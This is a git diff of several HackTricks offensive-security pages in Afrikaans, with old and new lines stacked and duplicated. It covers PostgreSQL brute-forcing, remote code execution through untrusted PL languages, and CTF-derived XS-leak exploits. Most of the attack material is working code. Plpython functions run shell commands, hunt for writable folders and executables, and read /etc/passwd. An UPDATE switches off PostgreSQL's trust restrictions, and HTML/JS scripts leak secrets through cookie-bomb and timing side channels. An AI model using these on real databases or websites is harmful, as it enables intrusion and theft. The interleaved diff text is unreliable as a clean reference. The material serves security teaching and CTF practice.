_Noot dat selfs die brute-forcing van 4 karakters 'n paar minute kan neem._
Jy kan ook **'n woordelys aflaai** en slegs daardie wagwoorde probeer (woordeboekaanval):
Jy kan ook **'n woordlys aflaai** en slegs daardie wagwoorde probeer (woordeboekaanval):
```sql
//Create the function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
@ -116,14 +119,17 @@ $$ LANGUAGE 'plpgsql'
-- Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
```
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**hacktricks-repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-repo**](https://github.com/carlospolop/hacktricks-cloud).
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,41 +1,41 @@
# RCE with PostgreSQL Languages
# RCE met PostgreSQL Tale
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## PostgreSQL Tale
Die PostgreSQL-databasis waarop jy toegang het, kan verskillende **skripsietale geïnstalleer** hê wat jy kan misbruik om **arbitrêre kode uit te voer**.
Jy kan **hulle laat loop**:
Die PostgreSQL databasis waartoe jy toegang het, mag verskillende **skripting tale geïnstalleer** hê wat jy kan misbruik om **arbitraire kode** uit te voer.
Jy kan **hulle aan die gang kry**:
```sql
\dL *
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
```
Die meeste skript tale wat jy in PostgreSQL kan installeer het **2 smake**: die **vertroude** en die **onvertroude**. Die **onvertroude** sal 'n naam hê wat **eindig met "u"** en dit sal die weergawe wees wat jou in staat stel om **kode uit te voer** en ander interessante funksies te gebruik. Hier is tale wat interessant kan wees as dit geïnstalleer is:
Die meeste van die skripting tale wat jy in PostgreSQL kan installeer het **2 variasies**: die **vertroude** en die **onvertroude**. Die **onvertroude** sal 'n naam hê wat **eindig op "u"** en sal die weergawe wees wat jou toelaat om **kode** uit te voer en ander interessante funksies te gebruik. Dit is tale wat, indien geïnstalleer, interessant is:
* **plpythonu**
* **plpython3u**
* **plperlu**
* **pljavaU**
* **plrubyu**
* ... (enige ander programmeringstaal wat 'n onveilige weergawe gebruik)
* ... (enige ander programmeertaal wat 'n onveilige weergawe gebruik)
{% hint style="warning" %}
As jy vind dat 'n interessante taal **geïnstalleer** is, maar **onvertroude** deur PostgreSQL (**`lanpltrusted`** is **`false`**), kan jy probeer om dit **te vertrou** met die volgende lyn sodat geen beperkings deur PostgreSQL toegepas sal word:
As jy vind dat 'n interessante taal **geïnstalleer** is maar **onvertrou** deur PostgreSQL (**`lanpltrusted`** is **`false`**) kan jy probeer om dit **te vertrou** met die volgende lyn sodat geen beperkings deur PostgreSQL toegepas sal word:
```sql
UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# To check your permissions over the table pg_language
@ -43,8 +43,8 @@ SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_languag
```
{% endhint %}
{% hint style="danger" %}
As jy nie 'n taal sien nie, kan jy probeer om dit te laai met (**jy moet superadmin wees**):
```
CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
@ -52,13 +52,14 @@ CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;
```
{% endhint %}
Merk op dat dit moontlik is om die veilige weergawes as "onveilig" te kompileer. Kyk [**hierdie**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) vir 'n voorbeeld. Dit is dus altyd die moeite werd om te probeer of jy kode kan uitvoer, selfs as jy slegs die **vertroude** een vind.
Let op dat dit moontlik is om die veilige weergawes as "onveilig" te kompileer. Kyk na [**hierdie**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) byvoorbeeld. Dit is altyd die moeite werd om te probeer of jy kode kan uitvoer, selfs al vind jy net die **vertroude** een geïnstalleer.
## plpythonu/plpython3u
{% tabs %}
{% tab title="undefined" %}
{% tab title="RCE" %}
```sql
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
@ -73,7 +74,7 @@ SELECT cmd("ls"); #RCE with popen or execve
```
{% endtab %}
{% tab title="undefined" %}
{% tab title="Kry OS gebruiker" %}
```sql
CREATE OR REPLACE FUNCTION get_user (pkg text)
RETURNS VARCHAR(65535) stable
@ -87,7 +88,7 @@ SELECT get_user(""); #Get user, para is useless
```
{% endtab %}
{% tab title="undefined" %}
{% tab title="Lys gids" %}
```sql
CREATE OR REPLACE FUNCTION lsdir (dir text)
RETURNS VARCHAR(65535) stable
@ -103,7 +104,7 @@ SELECT lsdir("/"); #List dir
```
{% endtab %}
{% tab title="undefined" %}
{% tab title="Vind W gids" %}
```sql
CREATE OR REPLACE FUNCTION findw (dir text)
RETURNS VARCHAR(65535) stable
@ -132,7 +133,7 @@ SELECT findw("/"); #Find Writable folders from a folder (recursively)
```
{% endtab %}
{% tab title="undefined" %}
{% tab title="Vind Lêer" %}
```sql
CREATE OR REPLACE FUNCTION find_file (exe_sea text)
RETURNS VARCHAR(65535) stable
@ -167,7 +168,7 @@ SELECT find_file("psql"); #Find a file
```
{% endtab %}
{% tab title="undefined" %}
{% tab title="Vind uitvoerbare lêers" %}
```sql
CREATE OR REPLACE FUNCTION findx (dir text)
RETURNS VARCHAR(65535) stable
@ -201,7 +202,7 @@ SELECT findx("/"); #Find an executables in folder (recursively)
```
{% endtab %}
{% tab title="undefined" %}
{% tab title="Vind exec deur subs" %}
```sql
CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
RETURNS VARCHAR(65535) stable
@ -236,7 +237,7 @@ SELECT find_exe("psql"); #Find executable by susbstring
```
{% endtab %}
{% tab title="undefined" %}
{% tab title="Lees" %}
```sql
CREATE OR REPLACE FUNCTION read (path text)
RETURNS VARCHAR(65535) stable
@ -252,7 +253,7 @@ select read('/etc/passwd'); #Read a file in b64
```
{% endtab %}
{% tab title="undefined" %}
{% tab title="Kry regte" %}
```sql
CREATE OR REPLACE FUNCTION get_perms (path text)
RETURNS VARCHAR(65535) stable
@ -311,14 +312,17 @@ Kyk na die volgende bladsy:
[rce-with-postgresql-extensions.md](rce-with-postgresql-extensions.md)
{% endcontent-ref %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,18 +1,21 @@
# Koekiebom + Onerror XS-lek
# Cookie Bomb + Onerror XS Leak
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**hacktricks-repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-repo**](https://github.com/carlospolop/hacktricks-cloud).
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Die volgende **skripsie** geneem vanaf [**hier**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) maak gebruik van 'n funksionaliteit wat die gebruiker toelaat om **enige hoeveelheid koekies in te voeg**, en dan 'n lêer as 'n skripsie te laai met die wete dat die ware respons groter sal wees as die valse een en dan. As dit suksesvol is, is die respons 'n omleiding met 'n resulterende URL wat langer is, **te groot om deur die bediener hanteer te word, dus gee 'n fout HTTP-statuskode terug**. As die soektog misluk, sal niks gebeur nie omdat die URL kort is.
Die volgende **script** geneem van [**hier**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) benut 'n funksionaliteit wat die gebruiker toelaat om **enige hoeveelheid koekies in te voeg**, en dan 'n lêer as 'n script te laai met die wete dat die ware antwoord groter sal wees as die valse een en dan. As dit suksesvol is, is die antwoord 'n omleiding met 'n resulterende URL wat langer is, **te groot om deur die bediener hanteer te word, so dit keer 'n fout http statuskode terug**. As die soektog misluk, sal daar niks gebeur nie omdat die URL kort is.
```html
<>'";<form action='https://sustenance.web.actf.co/s' method=POST><input id=f /><input name=search value=a /></form>
<script>
@ -61,14 +64,17 @@ break;
};
</script>
```
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**hacktricks-repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-repo**](https://github.com/carlospolop/hacktricks-cloud).
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# JavaScript Uitvoering XS-lek
# JavaScript Uitvoering XS Leak
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
```javascript
// Code that will try ${guess} as flag (need rest of the server code
app.get('/guessing', function(req, res) {
@ -30,7 +33,7 @@ window.parent.foo()
res.send(page)
});
```
Hoofblad wat iframes genereer na die vorige `/raai` bladsy om elke moontlikheid te toets
Hoofblad wat iframes genereer na die vorige `/guessing` bladsy om elke moontlikheid te toets
```html
<html>
<head>
@ -75,14 +78,17 @@ hack.innerHTML = iframe
</div>
</html>
```
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**hacktricks-repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-repo**](https://github.com/carlospolop/hacktricks-cloud).
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,23 +1,26 @@
# performance.now + Kragtige taak afdwing
# performance.now + Force heavy task
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Exploit geneem van [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)**
**Eksploit geneem van [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)**
In hierdie uitdaging kon die gebruiker duisende karakters stuur en as die vlag bevat was, sou die karakters teruggestuur word na die bot. Deur 'n groot hoeveelheid karakters te stuur, kon die aanvaller meet of die vlag in die gestuurde string voorkom of nie.
In hierdie uitdaging kon die gebruiker duisende karakters stuur en as die vlag ingesluit was, sou die karakters teruggestuur word na die bot. Deur 'n groot hoeveelheid karakters te stuur, kon die aanvaller meet of die vlag in die gestuurde string ingesluit was of nie.
{% hint style="warning" %}
Aanvanklik het ek nie die objekbreedte en -hoogte ingestel nie, maar later het ek gevind dat dit belangrik is omdat die verstekgrootte te klein is om 'n verskil in die laai-tyd te maak.
Aanvanklik het ek nie die objek se breedte en hoogte gestel nie, maar later het ek gevind dat dit belangrik is omdat die standaardgrootte te klein is om 'n verskil in die laaityd te maak.
{% endhint %}
```html
<!DOCTYPE html>
@ -114,14 +117,17 @@ main()
</html>
```
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,18 +1,21 @@
# Voorbeeld van performance.now
# performance.now voorbeeld
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
